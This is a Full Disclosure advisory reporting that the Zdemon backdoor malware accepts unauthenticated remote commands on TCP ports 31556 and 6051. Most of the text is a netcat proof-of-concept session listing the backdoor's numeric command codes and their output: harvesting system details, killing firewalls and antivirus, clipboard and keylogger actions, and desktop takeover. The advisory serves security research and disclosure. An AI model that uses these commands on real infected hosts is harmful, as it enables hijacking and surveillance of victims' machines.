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Date: Thu, 5 Aug 2021 17:21:05 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zdemon.10 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/d12f38e959d70af76fd263aa1933033c.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zdemon.10
Vulnerability: Unauthenticated Remote Command Execution
Description: Zdemon malware listens on TCP ports 31556, 6051. Third-party
attackers who can reach infected systems can execute commands made
available by the backdoor.
Type: PE32
MD5: d12f38e959d70af76fd263aa1933033c
Vuln ID: MVID-2021-0313
Disclosure: 08/05/2021

Exploit/PoC:
nc64.exe x.x.x.x  31556
001
112
112Victim 01
1.11002
002 [ PC Details ]

 User name : Victim
 Computer name : DESKTOP-2C3IQHO
 Registered owner :
 Registered organisation :
 Processor name : Intel64 Family 6 Model 158 Stepping 9
 Processor speed : ~2894 MHz
 Memory : 2047.488 Mb
 Resolution : 1569x802
 Default printer :
 Free disk space : 3,818

003
003 [ OS Details ]

 Operating System :
 Version :
 Version No. :
 Platform ID. : Win32 on Windows NT
 Product key :
 Windows language : English (United States)
 TimeZone : @tzres.dll,-111
 DirectX version : 4.09.00.0904
 Windows folder : C:\WINDOWS
 System folder : C:\WINDOWS\system32
 Temp folder : C:\Users\Victim\AppData\Local\Temp\
 ProgramFiles folder : C:\Program Files (x86)
 NumLock state : Off
 CapsLock state : Off
 ScrollLock state : Off
 Play sounds : Yes
 Current time : 4/5/2021 3:13:18 AM
 Minutes in windows : 724 mins

0010077
000Blackhole is running on screen.
.078
000Stopped blackhole.
0010110Mailbox not found.116
0010075
000Screen is fliped.
0010080
001
0010081
000Chat Window is closed.080
000User clicked : [ OK ]000User clicked : [ OK ]
0010090
090about:blank091
001
0010091 hyp3rlinx.altervista.org
000Homepage is set.
0010014
000Monitor is on now.
001
0010005
005 [ Email Details ]

 POP3 UserName : none
 POP3 Server : none
 SMTP UserName : none
 SMTP Email Address none:
 SMTP Server : none
001
0010014
000Monitor is on now.015
000CD-ROM was been opened.016
000CD-ROM was been closed.017
000Mouse disabled.018
000Mouse trails disabled.019
000Mouse buttons restored.020
000Crazy mouse is stopped021
000Crazy mouse is stopped022
1569x802, 256 colors023
000Resolution is changed.024
001
0010025
000CTRL+ALT+DEL disabled.001
0010026
000NumLock button disabled.001
0010027
000CapsLock button disabled.001
0010028
000ScrollLock button disabled.001
0010029
02915:44:19|4/5/2021001
0010030
000! Can't change remote time.001
0010031
000! Can't change remote date.001
0010032
000Clipboard is empty or not as text-format.001
0010033
000Clipboard content changed.001
0010034
000Clipboard cleared.001
0010035
000Clipboard enabled.001
0010036
000Screen saver was been started.0037
001
0010038
001
000Firewalls were been killed.0010001
0010039
001
000AntiVirus were been killed.00100
001
0010040
001
0010041
65796001Manager[DESKTOP-2C3IQHO\Victim]+ (Administrator)
0010042
000Window is hidden now.001
0010042
000Window is hidden now.001
00100043
004 [ Network Details ]

 Workgroup :
 Computer name :
 File sharing :
 Print sharing :
 Server list :
 Registered owner :
 Registered organisation :
001
0010044
000Window is minimized now.001
0010045
000Window is maximized now.001
0010046
000Window was been closed.001
0010047
000Window is active now.001
0010048
000The X button is disabled.001
0010049
000Window title was been changed.001
0010049
000Window title was been changed.001
0010050
000! Error on trying to enable keylogger.001
0010051
051= Unable to get cache passwords on WinNT platform. =001
0010055
001
0010056
000Capturing stopped.001
0010057
001
0010058
000Taskbar is invisible now.001
0010059
000Taskbar is disabled now.001
0010060
000Desktop icons are invisible now.001
0010061
000Desktop icons are disabled now.001
0010062
000Start button is invisible now.001
0010063
000Start button is disabled now.001
0010064
000Start menu was beed opened.001
0010065
000Taskbar icons are invisible now.001
0010066
000Quick launch bar is invisible now.001
0010067
000Wallpaper is removed now.001
0010068
000Task clock is invisible now.001
0010069
000Task rebar is invisible now.001
0010070
000All windows are minimized now.001
0010071
000Flashing lights are run now.00
001
0010072
000Flashing lights are stopped now.001

(114 terminates the backdoor)
001
0010114

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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